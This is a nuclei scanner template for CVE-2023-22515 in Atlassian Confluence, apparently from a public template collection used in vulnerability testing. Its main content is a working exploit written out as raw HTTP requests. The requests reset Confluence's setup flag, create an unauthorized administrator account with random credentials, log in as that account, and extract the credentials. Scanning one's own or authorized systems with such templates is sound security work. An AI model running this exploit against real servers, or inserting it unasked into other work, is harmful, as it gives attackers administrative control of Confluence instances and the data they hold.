nuclei-templates/http/cves/2023/CVE-2023-22515.yaml

85 lines
3.2 KiB
YAML

id: CVE-2023-22515
info:
name: Atlassian Confluence - Privilege Escalation
author: s1r1us,iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Atlassian Confluence Data Center and Server contains a privilege escalation vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence.
remediation: |
Update to the latest version of Confluence
reference:
- https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis
- https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html
- https://confluence.atlassian.com/kb/faq-for-cve-2023-22515-1295682188.html
- https://jira.atlassian.com/browse/CONFSERVER-92475
- https://www.cisa.gov/news-events/alerts/2023/10/05/cisa-adds-three-known-exploited-vulnerabilities-catalog
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-22515
epss-score: 0.95529
epss-percentile: 0.99207
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 6
vendor: atlassian
product: confluence_data_center
fofa-query: app="ATLASSIAN-Confluence"
tags: cve,cve2023,confluence,auth-bypass,kev,intrusive
variables:
username: "{{rand_base(10)}}"
password: "{{rand_base(10)}}"
email: "{{username}}@{{password}}"
http:
- raw:
- |
GET /setup/setupadministrator-start.action HTTP/1.1
Host: {{Hostname}}
- |
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache{{randstr}} HTTP/1.1
Host: {{Hostname}}
- |
GET /setup/setupadministrator-start.action HTTP/1.1
Host: {{Hostname}}
- |
@timeout:20s
POST /setup/setupadministrator.action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
username={{to_lower(username)}}&fullName=admin&email={{email}}.com&password={{password}}&confirm={{password}}&setup-next-button=Next
- |
POST /dologin.action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
os_username={{to_lower(username)}}&os_password={{password}}&login=Log+in&os_destination=%2Findex.action
- |
GET /welcome.action HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
redirects: true
matchers:
- type: dsl
dsl:
- contains(body_1, 'Setup is already complete')
- contains(body_3, 'Please configure the system administrator account for this Confluence installation')
- contains(location_5, '/index.action')
- status_code_5 == 302
- contains(body_6, 'Administration')
condition: and
extractors:
- type: dsl
dsl:
- '"USER: "+ username'
- '"PASS: "+ password'
# digest: 4a0a0047304502202689b816b567fd7ee0e60cd8a5d126add38d40af35a653af59fb26ac1d83abe1022100d14c1926d8b1b51d4122a8ea39334e6c9598112aca1a3f3e4f56e7b140028d9d:922c64590222798bb761d5b6d8e72950